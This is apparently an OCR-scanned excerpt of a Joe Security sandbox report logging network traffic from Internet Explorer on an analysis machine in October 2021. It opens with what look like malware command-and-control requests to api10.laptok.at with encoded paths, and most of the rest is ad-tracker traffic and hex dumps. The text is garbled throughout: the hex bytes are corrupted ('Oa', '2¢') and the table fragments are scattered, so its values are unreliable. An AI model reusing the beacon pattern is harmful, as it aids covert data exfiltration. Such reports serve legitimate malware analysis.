EqqGLQtFoEBaUfObX/k5DE7Fqcl/I TzT4jdSj7c8BXUAG/ZqSRTCI9eEQu/fB3yRofhVGR/HGNIb HTTP/1.1

Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: api10.laptok.at

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.14.2

Date: Thu, 07 Oct 2021 14:21:43 GMT
Content-Type: text/plain
Transfer-Encoding: chunked
Connection: keep-alive

Data Raw: 30 0d Oa Od Oa

Data Ascii: 0

Destination IP Destination Port Process

87.106.18.141 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /apil/vcAOO3WPGNQgQOgmMZF/_2FEMTJINH/erT8pAgL94iyg0QnSDs4/tF67e4iCqPFCwhTcyrL/52_2B_2BcP
sTzShd1lICdD/ZKNNF2cncA9XY/3_2BIi6C/HI1C6tOMyng3uLUQeGWT6J6/j_2BQqOmyJd/sgWrxLykMWFajBZ62/t
iwu_2Bleg5Y/30Df0koCu30/inb_2Bah3KNqgln/fEVEAIuh_2FgMWpEfXDKP/e5bzrfoMyOWi_2Br/qr4SjrC797UY
1dW/_2FynXROO34PZ3JC62/akz42HCrt/_2B8jaBnhM_2F2ymPrmX/yps30gw8ZnZS8JvDVQW/WFIUNMub/F HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: apil0.laptok.at

Connection: Keep-Alive
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kBytes
Timestamp transferred Direction

Oct 7, 2021 8618 IN
16:21:56.570945024 CEST

Session ID Source IP Source Port

3 192.168.2.5 49789
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

4 192.168.2.5 49786
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

5 192.168.2.5 49792
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

6 192.168.2.5 49793
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

7 192.168.2.5 49797
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

8 192.168.2.5 49801
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

9 192.168.2.5 49804
kBytes

Timestamp transferred Direction

HTTPS Proxied Packets

Session ID Source IP Source Port

0 192.168.2.5 49769
kBytes

Timestamp transferred Direction

Copyright Joe Security LLC 2021

Data

HTTP/1.1 200 OK

Server: nginx/1.14.2

Date: Thu, 07 Oct 2021 14:21:56 GMT
Content-Type: text/plain
Transfer-Encoding: chunked
Connection: keep-alive

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination IP Destination Port Process

35.244.174.68 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

Destination IP Destination Port Process

3.127.209.187 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

Destination IP Destination Port Process

76.223.111.131 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

Destination IP Destination Port Process

76.223.111.131 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

Destination IP  Destination Port Process
185.29.132.241 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

Destination IP  Destination Port Process
3.127.209.187 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

Destination IP Destination Port Process

18.156.0.31 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

Destination IP Destination Port Process

104.20.185.68 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data
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kBytes
Timestamp transferred

2021-10-07 14:20:06 UTC 0

2021-10-07 14:20:06 UTC 0

2021-10-07 14:20:06 UTC 0

Session ID Source IP

1 192.168.2.5
kBytes

Timestamp transferred

2021-10-07 14:20:10 UTC 0

2021-10-07 14:20:10 UTC 1

2021-10-07 14:20:10 UTC 2

Session ID Source IP

10 192.168.2.5
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49782

Direction

ouT

Source Port

49803

Direction

Data

GET /cookieconsentpub/vl/geo/location HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: geolocation.onetrust.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 07 Oct 2021 14:20:06 GMT

Content-Type: text/javascript

Content-Length: 182

Connection: close

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Server: cloudflare

CF-RAY: 69a7c4aa8e5c42el-FRA

Data Raw: 6a 73 6f 6e 46 65 65 64 28 7b 22 63 6f 75 6e 74 72 79 22 3a 22 43 48 22 2¢ 22 73 74 61 74 65 22 3a 22 5a 47
222c 22737461 74 65 4e 61 6d 65 22 3a 22 5a 75 67 22 2¢c 22 7a 69 70 63 6f 64 65 22 3a 22 36 33 33 31 22 2¢ 22 74
69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 6¢ 61 74 69 74 75 64 65 22 3a 22 34 37 2e
31 39 3337 30 22 2c 22 6¢ 6f 6e 67 69 74 75 64 65 22 3a 22 38 2e 34 32 30 32 30 22 2¢c 22 63 69 74 79 22 3a 22 48 75
6e 65 6e 62 65 72 67 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 22 3a 22 45 55 22 7d 29 3b

Data Ascii: jsonFeed({"country":"CH","state":"ZG","stateName":"Zug","zipcode":"6331","timezone":"Europe/Zurich","latitud
e":"47.19370","longitude":"8.42020","city":"Hunenberg","continent":"EU"});

Destination IP Destination Port Process

216.58.215.226 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /pixel?cs=1&google_nid=media&google_cm=1&google_hm=Mjc2NjE4AMDAS5N]Y4ANDE3MzAWMFYxMA%3D%3
D&google_sc=1 HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://contextual. media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&p
rvid=77%2C117%2C184%2C188%2C203%2C226%2C246%2C2030%2C2033%2C3018&itype=HB-CM&rtime=69&http
s=1&usp_status=0&usp_consent=1&dcfp=gdpr,usp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: cm.g.doubleclick.net

Connection: Keep-Alive

Cookie: IDE=AHWqTUKh5fOLAUMX20ZV8xqf__2tu45ymTec8GQQE60qWkIcSV6VA3zk 7PBuUk4

HTTP/1.1 302 Found

P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAlo PSAo PSDo OU
R IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Location: https://cs.media.net/cksync?type=g&cs=1&google_gid=CAESENG6pIx5vHWPYBqLLrbkF4BE&google_cver=1
Date: Thu, 07 Oct 2021 14:20:10 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Cross-Origin-Resource-Policy: cross-origin

Content-Type: text/html; charset=UTF-8

Server: HTTP server (unknown)

Content-Length: 301

X-XSS-Protection: 0

Set-Cookie: IDE=AHWqTUmMHOXxIMoxj0Pngfm30GPHOK5PB_3CT4Qubkpi3xpdeiBinOowt7h4y8MxfC1z8; expires=Mon,
25-0ct-2021 07:44:18 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none

Alt-Sve: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e
742d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38
22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e
0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76
65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 63 73 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 3f
7479 70 65 3d 67 26 61 6d 70 3b 63 73 3d 31 26 61 6d 70 3b 67 6f 6f 67 6¢ 65 5f 67 69 64 3d 43 41 45 53 45 4e 36 70 49
783576 48 77 50 59 42 71 4c 4c 72 62 6b 46 34 42 45 26

Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TI
TLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://cs.media.net/cksync?type=g
&amp;cs=1&amp;google_gid=CAESENG6pIX5vHWPYB(LLrbkF4BE&

Destination IP Destination Port Process

18.156.0.31 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data
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kBytes
Timestamp transferred Direction Data

2021-10-07 14:20:12 UTC 12 ouT GET /ups/58222/sync?_origin=1&uid=2766180096684126000V10&verify=true HTTP/1.1
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5
Referer: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&p
vid=77%2C117%2C184%2C188%2C203%2C226%2C246%2C2030%2C2033%2C3018&itype=HB-CM&rtime=69&http
s=1&usp_status=0&usp_consent=1&dcfp=gdpr,usp
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Host: ups.analytics.yahoo.com
Cookie: A3=d=AQABBBWCX2ECEPuUVj2RIU40d0aG8sPO8SM2EFEgEBAQFTYGFoYQAAAAAA_eMAAA&S=AQ
AAAoUTZ_8WaBi0hZfRZ-z61xY; B=62ctsudglu0gs&b=3&s=uo

2021-10-07 14:20:12 UTC 13 IN HTTP/1.1 204 No Content
Date: Thu, 07 Oct 2021 14:20:12 GMT
Strict-Transport-Security: max-age=31536000
Set-Cookie: IDSYNC=18xa~20tq;Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31622400;Expires=Sat, 08-
Oct-2022 14:20:12 GMT;Secure;SameSite=None
P3P: CP=NOI DSP COR LAW CURa DEVa TAla PSAa PSDa OUR BUS UNI COM NAV
Age: 0
Connection: close
Server: ATS/7.1.2.138
Set-Cookie: A3=d=AQABBBWCX2ECEPuVj2RIU40d0aG8sPO8M2EFEgEBAQFTYGFoYQAAAAAA_eMAAACIHAJFYfO8M
2E&S=AQAAAQ9EDuU4ZC-eONZDFugmxOcc; Expires=Fri, 7 Oct 2022 20:20:12 GMT; Max-Age=31557600; Domain=.ya
hoo.com; Path=/; SameSite=None; Secure; HttpOnly
Set-Cookie: B=62ctsudglu0gs&b=3&s=uo; Expires=Fri, 7 Oct 2022 20:20:12 GMT; Max-Age=31557600; Domain
=.yahoo.com; Path=/

Session ID Source IP Source Port Destination IP Destination Port Process

11 192.168.2.5 49805 18.184.201.8 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe
kBytes

Timestamp transferred Direction Data

2021-10-07 14:20:12 UTC 13 ouT GET /ups/58222/sync?_origin=1&uid=2766180096684126000V10 HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://contextual. media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&p
rvid=77%2C117%2C184%2C188%2C203%2C226%2C246%2C2030%2C2033%2C3018&itype=HB-CM&rtime=69&http
s=1&usp_status=0&usp_consent=1&dcfp=gdpr,usp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Connection: Keep-Alive

Host: pixel.advertising.com

2021-10-07 14:20:12 UTC 14 IN HTTP/1.1 302 Found
Date: Thu, 07 Oct 2021 14:20:12 GMT
Content-Length: 0
Connection: close
Strict-Transport-Security: max-age=31536000
Set-Cookie: APID=UPaf4281b3-2779-11ec-a664-02db7f727538;Version=1;Domain=.advertising.com;Path=/;Max-
Age=31622400;Expires=Sat, 08-Oct-2022 14:20:12 GMT;Secure;SameSite=None
P3P: CP=NOI DSP COR LAW CURa DEVa TAla PSAa PSDa OUR BUS UNI COM NAV
Location: https://pixel.advertising.com/ups/58222/sync?_origin=1&uid=2766180096684126000V10&verify=true

Session ID Source IP Source Port Destination IP  Destination Port Process

12 192.168.2.5 49806 18.184.201.8 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe
kBytes

Timestamp transferred Direction Data

2021-10-07 14:20:12 UTC 15 ouT GET /ups/58222/sync?_origin=1&uid=2766180096684126000V10&verify=true HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&p
vid=77%2C117%2C184%2C188%2C203%2C226%2C246%2C2030%2C2033%2C3018&itype=HB-CM&rtime=69&http
s=1&usp_status=0&usp_consent=1&dcfp=gdpr,usp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Connection: Keep-Alive

Host: pixel.advertising.com

Cookie: APID=UPaf4281b3-2779-11ec-a664-02db7{727538

2021-10-07 14:20:12 UTC 15 IN HTTP/1.1 302 Found
Date: Thu, 07 Oct 2021 14:20:12 GMT
Content-Length: 0
Connection: close
Strict-Transport-Security: max-age=31536000
Set-Cookie: APID=UPaf4281b3-2779-11ec-a664-02db7{727538;Version=1;Domain=.advertising.com;Path=/;Max-
Age=31622400;Expires=Sat, 08-Oct-2022 14:20:12 GMT;Secure;SameSite=None
P3P: CP=NOI DSP COR LAW CURa DEVa TAla PSAa PSDa OUR BUS UNI COM NAV
Location: https://ups.analytics.yahoo.com/ups/58222/sync?_origin=1&uid=2766180096684126000V10&apid=UPaf4281b3-
2779-11ec-a664-02db7f727538
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Session ID Source IP

13 192.168.2.5
kBytes

Timestamp transferred

2021-10-07 14:20:12 UTC 16

2021-10-07 14:20:12 UTC 17

Session ID Source IP

14 192.168.2.5
kBytes

Timestamp transferred

2021-10-07 14:20:12 UTC 18

2021-10-07 14:20:12 UTC 18

2021-10-07 14:20:12 UTC 19

Copyright Joe Security LLC 2021

Source Port

49817

Direction

ouT

Source Port

49819

Direction
ouT

Destination IP Destination Port Process

18.156.0.31 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /ups/58222/sync?_origin=1&uid=2766180096684126000V10&apid=UPaf4281b3-2779-11ec-a664-02db7f727538
HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&p
vid=77%2C117%2C184%2C188%2C203%2C226%2C246%2C2030%2C2033%2C3018&itype=HB-CM&rtime=69&http
s=1&usp_status=0&usp_consent=1&dcfp=gdpr,usp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Connection: Keep-Alive

Host: ups.analytics.yahoo.com

Cookie: A3=d=AQABBBWCX2ECEPuUV|2RIU40d0aG8sPO8M2EFEgEBAQFTYGFoYQAAAAAA_eMAAACIHAJ
fYfO8M2E&S=AQAAAQIEDU4ZC-eONZDFugmxOcc; B=62ctsudglu0gs&b=3&s=uo; IDSYNC=18xa~20tq

HTTP/1.1 204 No Content

Date: Thu, 07 Oct 2021 14:20:12 GMT

Strict-Transport-Security: max-age=31536000

Set-Cookie: IDSYNC=18xa~20tq;Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31622400;Expires=Sat, 08-
Oct-2022 14:20:12 GMT;Secure;SameSite=None

Set-Cookie: APID=UPaf4281b3-2779-11ec-a664-02db7f727538;Version=1;Domain=.yahoo.com;Path=/;Max-Age=7
378787;Expires=Sat, 01-Jan-2022 00:00:00 GMT;Secure;SameSite=None

Set-Cookie: APIDTS=1633616412;Version=1;Domain=.yahoo.com;Path=/;Max-Age=86400;Expires=Fri, 08-Oct-2021
14:20:12 GMT;Secure;SameSite=None

P3P: CP=NOI DSP COR LAW CURa DEVa TAla PSAa PSDa OUR BUS UNI COM NAV

Age: 0

Connection: close

Server: ATS/7.1.2.138

Set-Cookie: A3=d=AQABBBWCX2ECEPuVj2RIU40d0aG8sPO8M2EFEgEBAQFTYGFoYQAAAAAA_eMAAACIHAJFYfO8M
2E&S=AQAAAQ9EDU4ZC-eONZDFugmxOcc; Expires=Fri, 7 Oct 2022 20:20:12 GMT; Max-Age=31557600; Domain=.ya
hoo.com; Path=/; SameSite=None; Secure; HttpOnly

Set-Cookie: B=62ctsudglu0gs&b=3&s=uo; Expires=Fri, 7 Oct 2022 20:20:12 GMT; Max-Age=31557600; Domain
=.yahoo.com; Path=/

Destination IP Destination Port Process

104.26.7.139 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /tag?0=6208086025961472&upapi=true HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: btloader.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 07 Oct 2021 14:20:12 GMT

Content-Type: application/javascript

Content-Length: 10157

Connection: close

Access-Control-Allow-Origin: *

Cache-Control: public, max-age=1800, must-revalidate

Etag: "643eblaad6ba3932ca744b96ffc00048"

Vary: Origin

Via: 1.1 google

CF-Cache-Status: HIT

Age: 1500

Accept-Ranges: bytes

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/\v3?s=P4xkgvVEwWTpk6gsMMLmI4nem1AhPMudh
uhVTYPKNXTgh9sfxOrUc0k4tX8XAwy S5gJMHCorgeCsuatWpmqlbztiQ21Zeisbs%2B9GTx%2FUJabn1HW%2F3HQGU
afYkAesgFw%3D%3D"}],"group":"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 69a7c4d4c8dc6977-FRA

Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28
65 2c 69 2c 63 2c 6¢ 29 7b 72 65 74 75 72 6e 20 6e 65 77 28 63 3d 63 7c 7c 50 72 6f 6d 69 73 65 29 28 66 75 6e 63 74
69 6f 6e 28 6e 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 74 72 79 7b 72 28 6¢ 2e 6e 65 78 74 28 65 29 29 7d
63 6174 63 68 28 65 29 7b 74 28 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 74 72 79 7b 72 28 6¢ 2e 74 68
72 6f 77 28 6529 29 7d 63 61 74 63 68 28 65 29 7b 74 28 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 76 61 7
220 74 3b 65 2e 64 6f 6e 65 3f 6e 28 65 2e 76 61 6¢ 75 65 29 3a 28 28 74 3d 65 2e 76 61 6¢ 75 65 29 69 6e 73 74 61 6e
63 65 6f 66 20 63 3f 74 3a 6e 65 77 20 63 28 66 75 6e 63 74 69 6f

Data Ascii: !function(){"use strict";function r(e,i,c,l){return new(c=c||Promise)(function(n,t){function o(e){try{r(l.next(e))}cat
ch(e){t(e)}}function a(e){try{r(l.throw(e))}catch(e){t(e)}}function r(e){var t;e.done?n(e.value):((t=e.value)instanceof c?t:new
c(functio
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kBytes
Timestamp transferred

2021-10-07 14:20:12 UTC 19

2021-10-07 14:20:12 UTC 21

2021-10-07 14:20:12 UTC 22

2021-10-07 14:20:12 UTC 23

2021-10-07 14:20:12 UTC 25

2021-10-07 14:20:12 UTC 26

2021-10-07 14:20:12 UTC 27

2021-10-07 14:20:12 UTC 29

Session ID Source IP

15 192.168.2.5
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49824

Direction

Data

Data Raw: 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e
287429 7b 69 66 28 61 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20
69 7320 61 6¢ 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 63 3b 29 74 72 79 7b 69 66 28
61 3d 31 2c 72 26 26 28 69 3d 32 26 74 5b 30 5d 3f 72 2e 72 65 74 75 72 6e 3a 74 5b 30 5d 3f 72 2e 74 68 72 6f 77 7c 7c
282869 3d 72 2e 72 65 74 75 72 6e 29 26 26 69 2e 63 61 6¢ 6¢ 28 72 29 2¢ 30 29 3a 72 2e 6e 65 78 74 29 26 26 21 28
69 3d 69 2e 63 61 6¢ 6¢ 28 72 2¢ 74 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 69 3b 73 77 69 74 63 68 28 7
2 3d 30 2c 69 26 26 28 74 3d 5b 32 26 74 5b 30 5d 2c 69 2e 76 61

Data Ascii: ){return function(e){return function(t){if(a)throw new TypeError("Generator is already executing.");for(;c;)
try{if(a=1,r&&(i=2&t[0] ?r.return:t[0] ?r.throw||((i=r.return)&&i.call(r),0):r.next)&&!(i=i.call(r,t[1])).done)return i;switch(r=0,i&&
(t=[2&1[0],i.va

Data Raw: 7c 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6¢ 65 6d 65 6e 74 29 2e 61 70
70 65 6e 64 43 68 69 6¢ 64 28 65 29 7d 29 7d 76 61 72 20 75 2c 61 2c 64 2c 62 2c 6d 3b 75 3d 22 36 32 30 38 30 38 36
30323539 36 31 34 37 32 22 2c 61 3d 22 62 74 6¢ 6f 61 64 65 72 2e 63 6f 6d 22 2¢ 64 3d 22 61 70 69 2e 62 74 6¢ 6f 61
64 65 72 2e 63 6f 6d 22 2¢c 62 3d 22 32 2e 30 2e 32 2d 32 2d 67 66 64 63 39 30 35 34 22 2c 6d 3d 22 22 3b 76 61 72 20
6f 3d 7b 22 6d 73 6e 2e 63 6f 6d 22 3a 7b 22 63 6f 6e 74 65 6e 74 5f 65 6e 61 62 6¢ 65 64 22 3a 74 72 75 65 2c 22 6d 6f
62 69 6¢ 65 5f 63 6f 6e 74 65 6e 74 5f 65 6e 61 62 6¢ 65 64 22 3a 66 61 6¢ 73 65 2¢ 22 77 65 62 73 69 74 65 5f 69 64 22
3a 223536373137 3337333838363935353532227d7d

Data Ascii: [window.document.documentElement).appendChild(e)})}var u,a,d,b,m;u="6208086025961472",a="btloader.
com",d="api.btloader.com",b="2.0.2-2-gfdc9054",m="";var o={"msn.com":{"content_enabled":true,"mobile_content_e
nabled":false,"website_id":"5671737388695552"}}

Data Raw: 65 78 4f 66 28 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 29 26 26 28 74 3d 21 30 2c 70 2e 77 65 62 73
69 74 65 49 44 3d 6f 5b 6e 5d 2e 77 65 62 73 69 74 65 5f 69 64 2c 70 2e 63 6f 6e 74 65 6e 74 45 6e 61 62 6¢ 65 64 3d 6f
5b 6e 5d 2e 63 6f 6e 74 65 6e 74 5f 65 6e 61 62 6¢ 65 64 2¢ 70 2e 6d 6f 62 69 6¢ 65 43 6f 6e 74 65 6e 74 45 6e 61 62 6¢
65 64 3d 6f 5b 6e 5d 2e 6d 6 62 69 6¢ 65 5f 63 6f 6e 74 65 6e 74 5f 65 6e 61 62 6¢ 65 64 29 3b 74 7c 7c 28 28 6e 65 77
2049 6d 61 67 65 29 2e 73 72 63 3d 22 2f 2f 22 2b 64 2b 22 2f 6¢ 3f 65 76 65 6e 74 3d 75 6e 6b 6e 6f 77 6e 44 6f 6d 61
69 6e 26 6f 72 67 3d 22 2b 75 2b 22 26 64 6f 6d 61 69 6e 3d 22 2b 65 29 7d 28 29 2c 77 69 6e 64 6f 77 2e 5f 5f 62 74 5f
74 61 67 5f 64 3d 7b 6f 72 67 49 44 3a 75 2c 64 6f 6d 61

Data Ascii: exOf(n.toLowerCase()))&&(t=!0,p.websitelD=0[n].website_id, p.contentEnabled=o[n].content_enabled,p.
mobileContentEnabled=o[n].mobile_content_enabled);t||((new Image).src="//"+d+"/I?event=unknownDomain&org="+u+"
&domain="+e)}(),window.__bt_tag_d={orgID:u,doma

Data Raw: 28 65 29 7b 76 61 72 20 74 3d 63 2e 62 75 6e 64 6¢ 65 73 5b 65 5d 3b 69 5b 65 5d 3d 7b 6d 69 6e 3a 4d 61 74
68 2e 74 72 75 6e 63 28 31 30 30 2a 28 2b 6f 2b 30 29 29 2c 6d 61 78 3a 4d 61 74 68 2e 74 72 75 6e 63 28 31 30 30 2a
28 2b 6f 2b 30 2b 74 29 29 7d 2c 6f 2b 3d 74 7d 29 7d 76 61 72 20 6¢ 3d 74 5b 30 5d 3b 69 66 28 6e 75 6¢ 6¢ 21 3d 6¢C 26
26 6¢ 2e 62 75 6e 64 6¢ 65 73 29 7b 76 61 72 20 73 3d 6f 2c 75 3d 31 2d 6f 3b 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6¢ 2e
62 75 6e 64 6¢ 65 73 29 2e 73 6f 72 74 28 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20
74 3d 6¢ 2e 62 75 6e 64 6¢ 65 73 5b 65 5d 3b 69 5b 65 5d 3d 7b 6d 69 6e 3a 4d 61 74 68 2e 74 72 75 6e 63 28 31 30 30
222873 2b 752a 6129 29 2c 6d 61 78 3a 4d 61 74 68 2e 74 72

Data Ascii: (e){var t=c.bundles[e];i[e]={min:Math.trunc(100*(+0+0)),max:Math.trunc(100*(+0+0+t))},0+=t})}var I=t[0];if(n
ull'=I&&l.bundles){var s=o,u=1-0;O0bject.keys(l.bundles).sort().forEach(function(e){var t=I.bundles[e];i[e]={min:Math.tru
nc(100*(s+u*a)),max:Math.tr

Data Raw: 64 6f 77 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6f 29 7d 63 61 74 63 68 28 65 29 7b 7d 76 61 72 20 61
3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 3b 61 2e
69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 28 74 2c 6e 2e 62 75 62 62 6¢ 65 73 2c 6e 2e 63 61 6e 63 65 6¢ 61 62 6¢
65 2c 6e 2e 64 65 74 61 69 6¢ 29 2c 77 69 6e 64 6f 77 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 61 29 7d 66 3d 7b 7
d 2c 77 69 6e 64 6f 77 2e 5f 5f 62 74 5f 69 6e 74 72 6e 6¢ 3d 7b 74 72 61 63 65 49 44 3a 77 2e 74 72 61 63 65 49 44 7d 3
b 747279 7b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 72 28 74 68 69 73 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 66 75 6
e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 6e 2c 6f 3b 72 65 74

Data Ascii: dow.dispatchEvent(o)}catch(e){}var a=document.createEvent(“CustomEvent");a.initCustomEvent(t,n.bub
bles,n.cancelable,n.detail),window.dispatchEvent(a)}f={},window.__bt_intrnl={tracelD:w.tracelD};try{!function()}{r(this,void
0,void 0,function(){var t,n,o;ret

Data Raw: 6e 74 65 6e 74 22 29 7c 7c 70 2e 63 6f 6e 74 65 6e 74 45 6e 61 62 6¢ 65 64 2c 70 2e 6d 6f 62 69 6¢ 65 43 6f
6e 74 65 6e 74 45 6e 61 62 6¢ 65 64 3d 22 74 72 75 65 22 3d 3d 6¢ 6f 63 61 6¢ 53 74 6f 72 61 67 65 2€ 67 65 74 49 74 65
6d 28 22 66 6f 72 63 65 4d 6f 62 69 6¢ 65 43 6f 6e 74 65 6e 74 22 29 7c 7c 70 2e 6d 6f 62 69 6¢ 65 43 6f 6e 74 65 6e 74
